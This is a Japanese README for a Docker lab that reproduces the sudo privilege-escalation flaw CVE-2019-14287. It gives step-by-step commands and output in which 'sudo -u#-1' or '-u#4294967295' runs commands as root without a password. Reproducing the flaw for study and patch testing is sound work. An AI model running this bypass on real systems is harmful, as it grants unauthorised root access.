sudo の脆弱性 (CVE-2019-14287) を Docker コンテナ上で再現するサンプルです。
docker compose up -d
でコンテナを立ち上げるdocker exec -it vulnerable_sudo_app bash
でコンテナに入るwhoami
やid
コマンドを実行して、自分が一般ユーザである(rootでない)ことを確認$ whoami user1 $ id uid=1000(user1) gid=1000(user1) groups=1000(user1) $ id -u 1000
sudo -u#0 whoami
やsudo -u#0 id -u
が実行できないことを確認する- uid (
-u
オプション) に 0 (root)を指定して実行する - パスワードを求められるが、パスワードは知らないので実行できない
$ sudo -u#0 whoami [sudo] password for user1: $ sudo -u#0 id [sudo] password for user1: $ sudo -u#0 id -u [sudo] password for user1:
- uid (
sudo -u#-1 whoami
やsudo -u#-1 id -u
を実行して、認証なしで root としてコマンドが実行できることを確認する(脆弱性の再現)-u#4294967295
でも同様のことができる
$ sudo -u#-1 whoami root $ sudo -u#-1 id uid=0(root) gid=1000(user1) groups=1000(user1) $ sudo -u#-1 id -u 0